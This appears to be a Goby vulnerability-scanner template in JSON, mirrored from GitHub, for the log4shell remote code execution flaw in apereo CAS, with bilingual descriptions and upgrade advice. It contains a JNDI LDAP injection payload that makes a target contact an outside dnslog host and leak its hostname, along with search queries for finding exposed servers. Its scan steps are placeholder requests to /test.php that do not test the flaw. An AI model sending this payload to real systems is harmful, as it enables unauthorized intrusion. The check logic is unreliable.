mirror of https://github.com/qwqdanchun/Goby.git
135 lines
4.4 KiB
JSON
135 lines
4.4 KiB
JSON
{
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"Name": "apereo CAS log4shell RCE vulnerability (CVE-2021-44228)",
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"Description": "<p>apereo CAS is an open source enterprise multilingual single sign-on solution for the Web.</p><p>apereo CAS has a log4shell RCE vulnerability. Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
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"Product": "apereo CAS",
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"Homepage": "https://github.com/apereo/cas",
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"DisclosureDate": "2021-12-22",
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"Author": "keeeee",
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"FofaQuery": "app=\"apereo-CAS\"",
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"GobyQuery": "app=\"apereo-CAS\"",
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"Level": "3",
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"Impact": "<p>Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
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"Recommendation": "<p>The supplier has released a solution, please upgrade to the new version:<a href=\"https://apereo.github.io/2021/12/11/log4j-vuln/\" target=\"_blank\">https://apereo.github.io/2021/12/11/log4j-vuln/</a></p><p>1. Deploy a web application firewall to monitor database operations.</p><p>2.If not necessary, prohibit public network access to the system.</p> ",
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"Translation": {
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"CN": {
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"Name": "apereo CAS log4shell 命令执行漏洞(CVE-2021-44228)",
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"Product": "apereo CAS",
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"VulType": [
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"命令执行"
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],
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"Tags": [
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"命令执行"
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],
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"Description": "<p>apereo CAS 是一个开源的用于 Web 的企业多语言单点登录解决方案。</p><p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">apereo CAS 存在 log4shell RCE 漏洞。<span style=\"color: rgb(22, 51, 102); font-size: 16px;\">攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。</span></span><br></p>",
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"Impact": "<p>攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。<br></p>",
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"Recommendation": "<p>⼚商已发布了漏洞方案,请及时关注: <a href=\"https://apereo.github.io/2021/12/11/log4j-vuln/\">https://apereo.github.io/2021/12/11/log4j-vuln/</a></p><p>1、通过防⽕墙等安全设备设置访问策略,设置⽩名单访问。</p><p>2、如⾮必要,禁⽌公⽹访问该系统。</p>"
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}
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},
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"References": [
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"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228",
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"https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
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"https://apereo.github.io/2021/12/11/log4j-vuln/"
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],
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"HasExp": true,
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"ExpParams": [
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{
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"name": "dnslog",
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"type": "input",
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"value": "${jndi:ldap://${hostName}.xxx.dnslog.cn}"
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}
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],
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"ExpTips": null,
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"ScanSteps": [
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"AND",
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{
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"Request": {
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"method": "GET",
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"uri": "/test.php",
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"follow_redirect": true,
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"header": {},
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"data_type": "text",
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"data": ""
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},
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"ResponseTest": {
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"type": "group",
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"operation": "AND",
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"checks": [
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{
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"type": "item",
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"variable": "$code",
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"operation": "==",
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"value": "200",
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"bz": ""
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},
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{
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"type": "item",
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"variable": "$body",
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"operation": "contains",
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"value": "test",
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"bz": ""
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}
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]
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},
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"SetVariable": []
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}
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],
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"Tags": [
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"rce"
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],
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"VulType": [
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"rce"
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],
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"CVEIDs": [
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"CVE-2021-44228"
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],
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"CVSSScore": "10.0",
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"AttackSurfaces": {
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"Application": null,
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"Support": null,
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"Service": null,
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"System": null,
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"Hardware": null
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},
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"CNNVD": [
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"CNNVD-202112-799"
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],
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"CNVD": [
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"CNVD-2021-95914"
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],
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"ExploitSteps": [
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"AND",
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{
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"Request": {
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"method": "GET",
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"uri": "/test.php",
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"follow_redirect": true,
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"header": {},
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"data_type": "text",
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"data": ""
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},
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"ResponseTest": {
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"type": "group",
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"operation": "AND",
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"checks": [
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{
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"type": "item",
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"variable": "$code",
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"operation": "==",
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"value": "200",
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"bz": ""
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},
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{
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"type": "item",
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"variable": "$body",
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"operation": "contains",
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"value": "test",
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"bz": ""
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}
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]
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},
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"SetVariable": []
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}
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],
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"Is0day": false
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} |